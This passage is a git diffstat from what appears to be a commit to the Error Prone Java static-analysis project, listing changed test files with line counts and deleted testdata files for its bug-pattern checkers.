67 +- .../bugpatterns/MustBeClosedCheckerTest.java | 876 ++++++++- .../NestedInstanceOfConditionsTest.java | 170 +- .../bugpatterns/NoAllocationCheckerTest.java | 1049 +++++++++- .../NonAtomicVolatileUpdateTest.java | 137 +- .../bugpatterns/NonRuntimeAnnotationTest.java | 61 +- .../bugpatterns/ObjectToStringTest.java | 108 +- .../bugpatterns/OptionalNotPresentTest.java | 165 +- .../OverrideThrowableToStringTest.java | 162 +- .../errorprone/bugpatterns/OverridesTest.java | 381 +++- .../PreconditionsInvalidPlaceholderTest.java | 60 +- ...imitiveArrayPassedToVarargsMethodTest.java | 60 +- ...rivateSecurityContractProtoAccessTest.java | 83 +- .../ProtocolBufferOrdinalTest.java | 53 +- .../bugpatterns/RestrictedApiCheckerTest.java | 86 +- ...eOperationExceptionAsLinkageErrorTest.java | 111 +- .../bugpatterns/ReturnValueIgnoredTest.java | 216 ++- .../bugpatterns/RxReturnValueIgnoredTest.java | 244 ++- .../bugpatterns/SelfAssertionTest.java | 91 +- .../bugpatterns/SelfAssignmentTest.java | 270 ++- .../bugpatterns/SelfComparisonTest.java | 129 +- .../bugpatterns/SelfEqualsTest.java | 234 ++- .../bugpatterns/ShouldHaveEvenArgsTest.java | 206 +- .../SizeGreaterThanOrEqualsZeroTest.java | 230 ++- .../StaticQualifiedUsingExpressionTest.java | 234 ++- .../StringBuilderInitWithCharTest.java | 36 +- .../bugpatterns/StringSplitterTest.java | 41 +- .../SuppressWarningsDeprecatedTest.java | 114 +- .../bugpatterns/SwigMemoryLeakTest.java | 69 +- .../bugpatterns/ThreadJoinLoopTest.java | 555 +++++- .../ThrowIfUncheckedKnownCheckedTest.java | 113 +- .../ThrowsUncheckedExceptionTest.java | 62 +- .../bugpatterns/TreeToStringTest.java | 69 +- .../bugpatterns/TruthAssertExpectedTest.java | 113 +- .../bugpatterns/TruthConstantAssertsTest.java | 71 +- .../bugpatterns/TryFailThrowableTest.java | 364 +++- .../bugpatterns/URLEqualsHashCodeTest.java | 165 +- .../bugpatterns/UngroupedOverloadsTest.java | 539 +++++- .../UnnecessaryBoxedAssignmentTest.java | 146 +- .../UnnecessaryBoxedVariableTest.java | 401 +++- .../UnnecessaryLongToIntConversionTest.java | 176 +- .../UnsafeReflectiveConstructionCastTest.java | 39 +- .../bugpatterns/WaitNotInLoopTest.java | 182 +- ...BinderIdentityRestoredDangerouslyTest.java | 13 +- .../android/FragmentInjectionTest.java | 12 +- .../android/FragmentNotInstantiableTest.java | 466 ++++- .../android/HardCodedSdCardPathTest.java | 75 +- .../android/IsLoggableTagLengthTest.java | 13 +- .../android/MislabeledAndroidStringTest.java | 13 +- .../RectIntersectReturnValueIgnoredTest.java | 120 +- .../WakelockReleasedDangerouslyTest.java | 42 +- ...mFragmentNotInstantiableNegativeCases.java | 72 - ...mFragmentNotInstantiablePositiveCases.java | 78 - .../FragmentNotInstantiableNegativeCases.java | 92 - .../FragmentNotInstantiablePositiveCases.java | 85 - .../HardCodedSdCardPathNegativeCases.java | 40 - .../HardCodedSdCardPathPositiveCases.java | 59 - ...ersectReturnValueIgnoredNegativeCases.java | 70 - ...ersectReturnValueIgnoredPositiveCases.java | 57 - .../CollectionIncompatibleTypeTest.java | 558 +++++- .../IncompatibleArgumentTypeTest.java | 251 ++- .../CollectionIncompatibleTypeClassCast.java | 26 - ...llectionIncompatibleTypeNegativeCases.java | 282 --- ...CollectionIncompatibleTypeOutOfBounds.java | 27 - ...llectionIncompatibleTypePositiveCases.java | 267 --- ...ncompatibleArgumentTypeEnclosingTypes.java | 81 - ...IncompatibleArgumentTypeGenericMethod.java | 64 - ...mpatibleArgumentTypeIntersectionTypes.java | 66 - ...atibleArgumentTypeMultimapIntegration.java | 86 - .../FloggerRedundantIsEnabledTest.java | 373 +++- ...loggerRedundantIsEnabledNegativeCases.java | 102 - ...loggerRedundantIsEnabledPositiveCases.java | 116 -- ...undantIsEnabledPositiveCases_expected.java | 87 - ...stedInjectAndInjectOnConstructorsTest.java | 109 +- ...dInjectAndInjectOnSameConstructorTest.java | 105 +- .../inject/AutoFactoryAtInjectTest.java | 71 +- .../inject/CloseableProvidesTest.java | 71 +- .../InjectOnMemberAndConstructorTest.java | 35 +- .../InjectedConstructorAnnotationsTest.java | 76 +- ...validTargetingOnScopingAnnotationTest.java | 109 +- .../JavaxInjectOnAbstractMethodTest.java | 119 +- .../inject/JavaxInjectOnFinalFieldTest.java | 58 +- .../inject/MissingRuntimeRetentionTest.java | 131 +- .../MoreThanOneInjectableConstructorTest.java | 136 +- .../inject/MoreThanOneQualifierTest.java | 201 +- ...MoreThanOneScopeAnnotationOnClassTest.java | 110 +- ...appingQualifierAndScopeAnnotationTest.java | 75 +- .../inject/QualifierWithTypeUseTest.java | 63 +- ...otationOnInterfaceOrAbstractClassTest.java | 72 +- .../AndroidInjectionBeforeSuperTest.java | 264 ++- .../dagger/testdata/AndroidInjection.java | 33 - ...roidInjectionBeforeSuperNegativeCases.java | 95 - ...roidInjectionBeforeSuperPositiveCases.java | 90 - .../testdata/stubs/android/app/Activity.java | 21 - .../testdata/stubs/android/app/Fragment.java | 22 - .../testdata/stubs/android/app/Service.java | 25 - .../stubs/android/content/Context.java | 19 - .../stubs/android/content/Intent.java | 19 - .../testdata/stubs/android/os/Bundle.java | 19 - .../testdata/stubs/android/os/IBinder.java | 19 - .../guice/AssistedInjectScopingTest.java | 170 +- .../inject/guice/AssistedParametersTest.java | 124 +- .../BindingToUnqualifiedCommonTypeTest.java | 135 +- .../inject/guice/InjectOnFinalFieldTest.java | 63 +- .../OverridesGuiceInjectableMethodTest.java | 130 +- .../OverridesJavaxInjectableMethodTest.java | 105 +- .../ProvidesMethodOutsideOfModuleTest.java | 113 +- .../AssistedInjectScopingNegativeCases.java | 107 -- .../AssistedInjectScopingPositiveCases.java | 81 - .../AssistedParametersNegativeCases.java | 68 - .../AssistedParametersPositiveCases.java | 74 - ...gToUnqualifiedCommonTypeNegativeCases.java | 99 - ...gToUnqualifiedCommonTypePositiveCases.java | 60 - .../InjectOnFinalFieldNegativeCases.java | 44 - .../InjectOnFinalFieldPositiveCases.java | 39 - ...desGuiceInjectableMethodNegativeCases.java | 75 - ...desGuiceInjectableMethodPositiveCases.java | 79 - ...desJavaxInjectableMethodNegativeCases.java | 74 - ...desJavaxInjectableMethodPositiveCases.java | 55 - ...desMethodOutsideOfModuleNegativeCases.java | 74 - ...desMethodOutsideOfModulePositiveCases.java | 63 - ...tAndInjectOnConstructorsNegativeCases.java | 68 - ...tAndInjectOnConstructorsPositiveCases.java | 65 - ...dInjectOnSameConstructorNegativeCases.java | 87 - ...dInjectOnSameConstructorPositiveCases.java | 42 - .../AutoFactoryAtInjectNegativeCases.java | 47 - .../AutoFactoryAtInjectPositiveCases.java | 44 - .../CloseableProvidesNegativeCases.java | 43 - .../CloseableProvidesPositiveCases.java | 48 - ...ctOnMemberAndConstructorNegativeCases.java | 47 - ...edConstructorAnnotationsNegativeCases.java | 53 - ...edConstructorAnnotationsPositiveCases.java | 48 - ...etingOnScopingAnnotationNegativeCases.java | 56 - ...etingOnScopingAnnotationPositiveCases.java | 77 - ...axInjectOnAbstractMethodNegativeCases.java | 63 - ...axInjectOnAbstractMethodPositiveCases.java | 80 - .../JavaxInjectOnFinalFieldNegativeCases.java | 44 - .../JavaxInjectOnFinalFieldPositiveCases.java | 34 - .../MissingRuntimeRetentionNegativeCases.java | 72 - .../MissingRuntimeRetentionPositiveCases.java | 79 - ...OneInjectableConstructorNegativeCases.java | 85 - ...OneInjectableConstructorPositiveCases.java | 75 - .../MoreThanOneQualifierNegativeCases.java | 75 - .../MoreThanOneQualifierPositiveCases.java | 146 -- ...neScopeAnnotationOnClassNegativeCases.java | 85 - ...neScopeAnnotationOnClassPositiveCases.java | 49 - ...lifierAndScopeAnnotationNegativeCases.java | 56 - ...lifierAndScopeAnnotationPositiveCases.java | 43 - .../QualifierWithTypeUseNegativeCases.java | 32 - .../QualifierWithTypeUsePositiveCases.java | 51 - ...InterfaceOrAbstractClassNegativeCases.java | 58 - ...InterfaceOrAbstractClassPositiveCases.java | 38 - .../nullness/EqualsBrokenForNullTest.java | 320 ++- .../nullness/NullablePrimitiveTest.java | 54 +- .../nullness/UnnecessaryCheckNotNullTest.java | 277 ++- .../nullness/UnsafeWildcardTest.java | 49 +- .../EqualsBrokenForNullNegativeCases.java | 143 -- .../EqualsBrokenForNullPositiveCases.java | 197 -- .../NullablePrimitiveNegativeCases.java | 33 - .../NullablePrimitivePositiveCases.java | 41 - .../UnnecessaryCheckNotNullNegativeCase.java | 56 - .../UnnecessaryCheckNotNullPositiveCase.java | 84 - ...aryCheckNotNullPrimitiveNegativeCases.java | 33 - ...aryCheckNotNullPrimitivePositiveCases.java | 148 -- .../testdata/UnsoundGenericMethod.java | 59 - .../InconsistentOverloadsTest.java | 236 ++- .../InconsistentOverloadsNegativeCases.java | 46 - ...tentOverloadsPositiveCasesAnnotations.java | 51 - ...nsistentOverloadsPositiveCasesGeneral.java | 48 - ...sistentOverloadsPositiveCasesGenerics.java | 35 - ...tentOverloadsPositiveCasesInterleaved.java | 41 - ...istentOverloadsPositiveCasesOverrides.java | 44 - ...onsistentOverloadsPositiveCasesSimple.java | 28 - ...nsistentOverloadsPositiveCasesVarargs.java | 37 - .../testdata/ArrayEqualsNegativeCases.java | 75 - .../testdata/ArrayEqualsNegativeCases2.java | 59 - .../testdata/ArrayEqualsPositiveCases2.java | 51 - .../testdata/ArrayHashCodeNegativeCases.java | 50 - .../testdata/ArrayHashCodeNegativeCases2.java | 52 - .../testdata/ArrayHashCodePositiveCases.java | 85 - ...StringCompoundAssignmentNegativeCases.java | 34 - ...StringCompoundAssignmentPositiveCases.java | 33 - ...rayToStringConcatenationNegativeCases.java | 33 - ...rayToStringConcatenationPositiveCases.java | 37 - .../testdata/ArrayToStringNegativeCases.java | 34 - .../testdata/ArrayToStringPositiveCases.java | 81 - .../testdata/AssertFalseNegativeCases.java | 31 - .../testdata/AssertFalsePositiveCases.java | 27 - ...AsyncFunctionReturnsNullNegativeCases.java | 75 - ...AsyncFunctionReturnsNullPositiveCases.java | 51 - .../testdata/BadComparableNegativeCases.java | 153 -- .../testdata/BadComparablePositiveCases.java | 67 - .../testdata/BadImportNegativeCases.java | 41 - .../testdata/BadImportPositiveCases.java | 74 - .../BadImportPositiveCases_expected.java | 72 - .../testdata/BadShiftAmountNegativeCases.java | 33 - .../testdata/BanClassLoaderNegativeCases.java | 35 - .../testdata/BanClassLoaderPositiveCases.java | 63 - .../BanClassLoaderPositiveCases_expected.java | 68 - .../testdata/BanJNDINegativeCases.java | 35 - .../testdata/BanJNDIPositiveCases.java | 149 -- .../BanJNDIPositiveCases_expected.java | 169 -- .../ByteBufferBackingArrayNegativeCases.java | 151 -- .../ByteBufferBackingArrayPositiveCases.java | 87 - .../CannotMockFinalClassNegativeCases.java | 32 - .../CannotMockFinalClassNegativeCases2.java | 29 - .../CannotMockFinalClassPositiveCases.java | 34 - ...nedAssertionLosesContextNegativeCases.java | 71 - ...nedAssertionLosesContextPositiveCases.java | 108 -- ...structorIgnoresParameterNegativeCases.java | 117 -- .../CheckReturnValueNegativeCases.java | 69 - .../CheckReturnValuePositiveCases.java | 195 -- .../ClassCanBeStaticNegativeCases.java | 94 - .../ClassCanBeStaticPositiveCase1.java | 31 - .../ClassCanBeStaticPositiveCase2.java | 37 - .../ClassCanBeStaticPositiveCase3.java | 32 - ...tionToArraySafeParameterNegativeCases.java | 70 - ...tionToArraySafeParameterPositiveCases.java | 59 - ...llectorShouldNotUseStateNegativeCases.java | 45 - ...llectorShouldNotUseStatePositiveCases.java | 69 - .../ComparableAndComparatorNegativeCases.java | 92 - .../ComparableAndComparatorPositiveCases.java | 56 - .../testdata/ComparableTypeNegativeCases.java | 112 -- .../testdata/ComparableTypePositiveCases.java | 133 -- ...mparisonContractViolatedNegativeCases.java | 43 - ...mparisonContractViolatedPositiveCases.java | 125 -- .../ComparisonOutOfRangeNegativeCases.java | 118 -- .../ComparisonOutOfRangePositiveCases.java | 147 -- .../testdata/DeadExceptionNegativeCases.java | 29 - .../testdata/DeadExceptionPositiveCases.java | 79 - .../DeadExceptionTestingNegativeCases.java | 45 - .../testdata/DepAnnNegativeCase1.java | 69 - .../testdata/DepAnnNegativeCase2.java | 42 - .../testdata/DepAnnPositiveCases.java | 56 - .../testdata/EmptyCatchNegativeCases.java | 127 -- .../testdata/EmptyCatchPositiveCases.java | 49 - .../EqualsHashCodeTestNegativeCases.java | 36 - .../EqualsHashCodeTestPositiveCases.java | 25 - .../EqualsIncompatibleTypeNegativeCases.java | 205 -- .../EqualsIncompatibleTypePositiveCases.java | 173 -- .../EqualsIncompatibleTypeRecursiveTypes.java | 142 -- .../testdata/EqualsNaNNegativeCases.java | 25 - .../testdata/EqualsNaNPositiveCases.java | 41 - .../EqualsReferenceNegativeCases.java | 81 - .../EqualsReferencePositiveCases.java | 52 - ...adPoolConstructorCheckerNegativeCases.java | 95 - ...adPoolConstructorCheckerPositiveCases.java | 105 - .../testdata/FallThroughNegativeCases.java | 162 -- .../testdata/FallThroughPositiveCases.java | 89 - .../testdata/FinallyNegativeCase1.java | 96 - .../testdata/FinallyNegativeCase2.java | 76 - .../testdata/FinallyPositiveCase1.java | 146 -- .../testdata/FinallyPositiveCase2.java | 132 -- ...ntAssertionWithinEpsilonNegativeCases.java | 62 - ...ntAssertionWithinEpsilonPositiveCases.java | 68 - ...onWithinEpsilonPositiveCases_expected.java | 51 - ...alInterfaceMethodChangedNegativeCases.java | 84 - ...alInterfaceMethodChangedPositiveCases.java | 107 -- ...FutureReturnValueIgnoredNegativeCases.java | 307 --- ...FutureReturnValueIgnoredPositiveCases.java | 219 --- ...ckedIllegalExceptionTypeNegativeCases.java | 58 - ...ckedIllegalExceptionTypePositiveCases.java | 78 - ...dNotBeUsedInEqualsMethodNegativeCases.java | 41 - ...dNotBeUsedInEqualsMethodPositiveCases.java | 39 - .../GetClassOnClassNegativeCases.java | 39 - .../GetClassOnClassPositiveCases.java | 40 - .../testdata/HidingFieldNegativeCases.java | 60 - .../testdata/HidingFieldPositiveCases1.java | 71 - .../testdata/HidingFieldPositiveCases2.java | 41 - ...entAssertionWithChainingNegativeCases.java | 80 - ...entAssertionWithChainingPositiveCases.java | 107 -- ...consistentCapitalizationNegativeCases.java | 174 -- ...rementInForLoopAndHeaderNegativeCases.java | 79 - ...rementInForLoopAndHeaderPositiveCases.java | 98 - .../InsecureCipherModeNegativeCases.java | 160 -- .../InsecureCipherModePositiveCases.java | 239 --- ...eOfAndCastMatchWrongTypeNegativeCases.java | 283 --- ...eOfAndCastMatchWrongTypePositiveCases.java | 172 -- .../InvalidPatternSyntaxNegativeCases.java | 44 - .../InvalidPatternSyntaxPositiveCases.java | 48 - .../IterableAndIteratorNegativeCases.java | 78 - .../IterableAndIteratorPositiveCases.java | 126 -- .../JUnit3TestNotRunNegativeCase1.java | 70 - .../JUnit3TestNotRunNegativeCase2.java | 43 - .../JUnit3TestNotRunNegativeCase3.java | 39 - .../JUnit3TestNotRunNegativeCase4.java | 36 - .../JUnit3TestNotRunNegativeCase5.java | 37 - .../JUnit3TestNotRunPositiveCases.java | 44 - .../JUnit4SetUpNotRunNegativeCases.java | 94 - ...t4SetUpNotRunPositiveCaseCustomBefore.java | 31 - ...4SetUpNotRunPositiveCaseCustomBefore2.java | 35 - .../JUnit4SetUpNotRunPositiveCases.java | 86 - .../JUnit4TearDownNotRunNegativeCases.java | 91 - ...TearDownNotRunPositiveCaseCustomAfter.java | 31 - ...earDownNotRunPositiveCaseCustomAfter2.java | 31 - .../JUnit4TearDownNotRunPositiveCases.java | 73 - .../testdata/JUnit4TestNotRunBaseClass.java | 40 - .../JUnit4TestNotRunNegativeCase1.java | 26 - .../JUnit4TestNotRunNegativeCase2.java | 30 - .../JUnit4TestNotRunNegativeCase3.java | 57 - .../JUnit4TestNotRunNegativeCase4.java | 31 - .../JUnit4TestNotRunNegativeCase5.java | 37 - .../JUnit4TestNotRunPositiveCase1.java | 32 - .../JUnit4TestNotRunPositiveCase2.java | 34 - .../JUnitAssertSameCheckNegativeCases.java | 32 - .../JUnitAssertSameCheckPositiveCase.java | 39 - ...itParameterMethodNotFoundNegativeCase.java | 144 -- ...erMethodNotFoundNegativeCaseBaseClass.java | 27 - ...FoundNegativeCaseNonJUnitParamsRunner.java | 29 - ...rMethodNotFoundNegativeCaseSuperClass.java | 30 - ...itParameterMethodNotFoundPositiveCase.java | 47 - ...ambdaFunctionalInterfaceNegativeCases.java | 104 - ...ambdaFunctionalInterfacePositiveCases.java | 175 -- ...NonEnclosingClassLiteralNegativeCases.java | 40 - ...NonEnclosingClassLiteralPositiveCases.java | 44 - ...ngLiteralLowerCaseSuffixNegativeCases.java | 65 - ...ngLiteralLowerCaseSuffixPositiveCase1.java | 95 - ...ngLiteralLowerCaseSuffixPositiveCase2.java | 31 - .../testdata/MissingFailNegativeCases.java | 478 ----- .../testdata/MissingFailNegativeCases2.java | 40 - .../testdata/MissingFailPositiveCases.java | 154 -- .../testdata/MissingFailPositiveCases2.java | 47 - .../testdata/MissingFailPositiveCases3.java | 48 - .../MisusedWeekYearNegativeCases.java | 60 - .../MisusedWeekYearPositiveCases.java | 110 -- .../MisusedWeekYearPositiveCases2.java | 54 - ...lectionInEnhancedForLoopNegativeCases.java | 111 -- ...lectionInEnhancedForLoopPositiveCases.java | 108 -- ...SourceCollectionInStreamNegativeCases.java | 113 -- ...SourceCollectionInStreamPositiveCases.java | 95 - ...yingCollectionWithItselfNegativeCases.java | 44 - ...yingCollectionWithItselfPositiveCases.java | 83 - ...arallelOrSequentialCallsNegativeCases.java | 66 - ...arallelOrSequentialCallsPositiveCases.java | 147 -- ...SequentialCallsPositiveCases_expected.java | 141 -- ...aryOperatorsInMethodCallNegativeCases.java | 34 - ...aryOperatorsInMethodCallPositiveCases.java | 55 - .../MustBeClosedCheckerNegativeCases.java | 184 -- .../MustBeClosedCheckerPositiveCases.java | 238 --- ...BeClosedCheckerPositiveCases_expected.java | 260 --- ...stedInstanceOfConditionsNegativeCases.java | 105 - ...stedInstanceOfConditionsPositiveCases.java | 88 - .../NoAllocationCheckerNegativeCases.java | 547 ------ .../NoAllocationCheckerPositiveCases.java | 522 ----- .../NonAtomicVolatileUpdateNegativeCases.java | 71 - .../NonRuntimeAnnotationNegativeCases.java | 35 - .../NonRuntimeAnnotationPositiveCases.java | 46 - .../testdata/ObjectToStringNegativeCases.java | 87 - .../testdata/ObjectToStringPositiveCases.java | 41 - .../OptionalNotPresentNegativeCases.java | 70 - .../OptionalNotPresentPositiveCases.java | 113 -- ...verrideThrowableToStringNegativeCases.java | 52 - ...verrideThrowableToStringPositiveCases.java | 52 - ...rowableToStringPositiveCases_expected.java | 50 - .../testdata/OverridesNegativeCase1.java | 86 - .../testdata/OverridesNegativeCase2.java | 39 - .../testdata/OverridesNegativeCase3.java | 39 - .../testdata/OverridesPositiveCase1.java | 102 - .../testdata/OverridesPositiveCase2.java | 46 - .../testdata/OverridesPositiveCase3.java | 46 - .../testdata/OverridesPositiveCase4.java | 45 - .../testdata/OverridesPositiveCase5.java | 42 - ...itionsInvalidPlaceholderNegativeCase1.java | 43 - ...itionsInvalidPlaceholderPositiveCase1.java | 41 - ...rayPassedToVarargsMethodNegativeCases.java | 37 - ...rayPassedToVarargsMethodPositiveCases.java | 47 - ...urityContractProtoAccessNegativeCases.java | 35 - ...urityContractProtoAccessPositiveCases.java | 72 - .../ProtocolBufferOrdinalNegativeCases.java | 27 - .../ProtocolBufferOrdinalPositiveCases.java | 46 - ...nExceptionAsLinkageErrorNegativeCases.java | 69 - ...nExceptionAsLinkageErrorPositiveCases.java | 64 - .../ReturnValueIgnoredNegativeCases.java | 71 - .../ReturnValueIgnoredPositiveCases.java | 165 -- .../RxReturnValueIgnoredNegativeCases.java | 112 -- .../RxReturnValueIgnoredPositiveCases.java | 152 -- .../testdata/SelfAssertionNegativeCases.java | 35 - .../testdata/SelfAssertionPositiveCases.java | 76 - .../testdata/SelfAssignmentNegativeCases.java | 109 -- .../SelfAssignmentPositiveCases2.java | 118 -- .../testdata/SelfComparisonNegativeCases.java | 54 - .../testdata/SelfComparisonPositiveCase.java | 95 - .../SelfEqualsGuavaNegativeCases.java | 44 - .../testdata/SelfEqualsGuavaPositiveCase.java | 64 - .../testdata/SelfEqualsNegativeCases.java | 56 - .../testdata/SelfEqualsPositiveCase.java | 110 -- ...ouldHaveEvenArgsMultimapNegativeCases.java | 58 - ...ouldHaveEvenArgsMultimapPositiveCases.java | 65 - .../ShouldHaveEvenArgsNegativeCases.java | 62 - .../ShouldHaveEvenArgsPositiveCases.java | 65 - ...eGreaterThanOrEqualsZeroNegativeCases.java | 99 - ...eGreaterThanOrEqualsZeroPositiveCases.java | 155 -- ...QualifiedUsingExpressionNegativeCases.java | 58 - ...QualifiedUsingExpressionPositiveCase1.java | 177 -- ...QualifiedUsingExpressionPositiveCase2.java | 35 - ...tringBuilderInitWithCharNegativeCases.java | 28 - ...tringBuilderInitWithCharPositiveCases.java | 32 - .../testdata/StringSplitterNegativeCases.java | 34 - .../testdata/StringSplitterPositiveCases.java | 31 - ...ppressWarningsDeprecatedNegativeCases.java | 52 - ...ppressWarningsDeprecatedPositiveCases.java | 70 - .../testdata/SwigMemoryLeakNegativeCases.java | 47 - .../testdata/SwigMemoryLeakPositiveCases.java | 42 - .../testdata/ThreadJoinLoopNegativeCases.java | 135 -- .../testdata/ThreadJoinLoopPositiveCases.java | 184 -- .../ThreadJoinLoopPositiveCases_expected.java | 92 - ...ncheckedKnownCheckedTestNegativeCases.java | 80 - ...ncheckedKnownCheckedTestPositiveCases.java | 53 - ...ThrowsUncheckedExceptionNegativeCases.java | 32 - ...ThrowsUncheckedExceptionPositiveCases.java | 48 - .../testdata/TreeToStringNegativeCases.java | 35 - .../testdata/TreeToStringPositiveCases.java | 56 - .../TruthAssertExpectedNegativeCases.java | 67 - .../TruthAssertExpectedPositiveCases.java | 66 - .../TruthConstantAssertsNegativeCases.java | 39 - .../TruthConstantAssertsPositiveCases.java | 52 - .../TryFailThrowableNegativeCases.java | 185 -- .../TryFailThrowablePositiveCases.java | 198 -- .../URLEqualsHashCodeNegativeCases.java | 73 - .../URLEqualsHashCodePositiveCases.java | 112 -- .../UngroupedOverloadsNegativeCases.java | 57 - ...groupedOverloadsPositiveCasesCovering.java | 61 - ...loadsPositiveCasesCoveringOnlyOnFirst.java | 56 - ...upedOverloadsPositiveCasesInterleaved.java | 62 - ...groupedOverloadsPositiveCasesMultiple.java | 93 - ...UngroupedOverloadsPositiveCasesSingle.java | 52 - ...UngroupedOverloadsRefactoringComments.java | 46 - ...OverloadsRefactoringComments_expected.java | 46 - ...roupedOverloadsRefactoringInterleaved.java | 49 - ...rloadsRefactoringInterleaved_expected.java | 49 - ...UngroupedOverloadsRefactoringMultiple.java | 54 - ...OverloadsRefactoringMultiple_expected.java | 54 - .../UnnecessaryBoxedAssignmentCases.java | 85 - ...ecessaryBoxedAssignmentCases_expected.java | 85 - .../UnnecessaryBoxedVariableCases.java | 216 --- ...nnecessaryBoxedVariableCases_expected.java | 211 -- ...ssaryLongToIntConversionNegativeCases.java | 122 -- ...ssaryLongToIntConversionPositiveCases.java | 77 - ...flectiveConstructionCastNegativeCases.java | 51 - .../testdata/WaitNotInLoopNegativeCases.java | 111 -- .../time/TimeUnitMismatchTest.java | 176 +- .../TimeUnitMismatchNegativeCases.java | 92 - .../TimeUnitMismatchPositiveCases.java | 104 - .../NullnessPropagationTest.java | 1707 ++++++++++++++++- .../NullnessPropagationTransferCases1.java | 180 -- .../NullnessPropagationTransferCases2.java | 345 ---- .../NullnessPropagationTransferCases3.java | 273 --- .../NullnessPropagationTransferCases4.java | 273 --- .../NullnessPropagationTransferCases5.java | 273 --- .../NullnessPropagationTransferCases6.java | 196 -- .../NullnessPropagationTransferCases7.java | 175 -- .../NullnessPropagationTransferCases8.java | 52 - 515 files changed, 27580 insertions(+), 30574 deletions(-) delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiableNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiablePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiableNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiablePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeClassCast.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeOutOfBounds.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeEnclosingTypes.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeGenericMethod.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeIntersectionTypes.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeMultimapIntegration.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledPositiveCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjection.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Activity.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Fragment.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Service.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Context.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Intent.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/Bundle.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/IBinder.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModuleNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModulePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsPositiveCases.java delete mode 100644 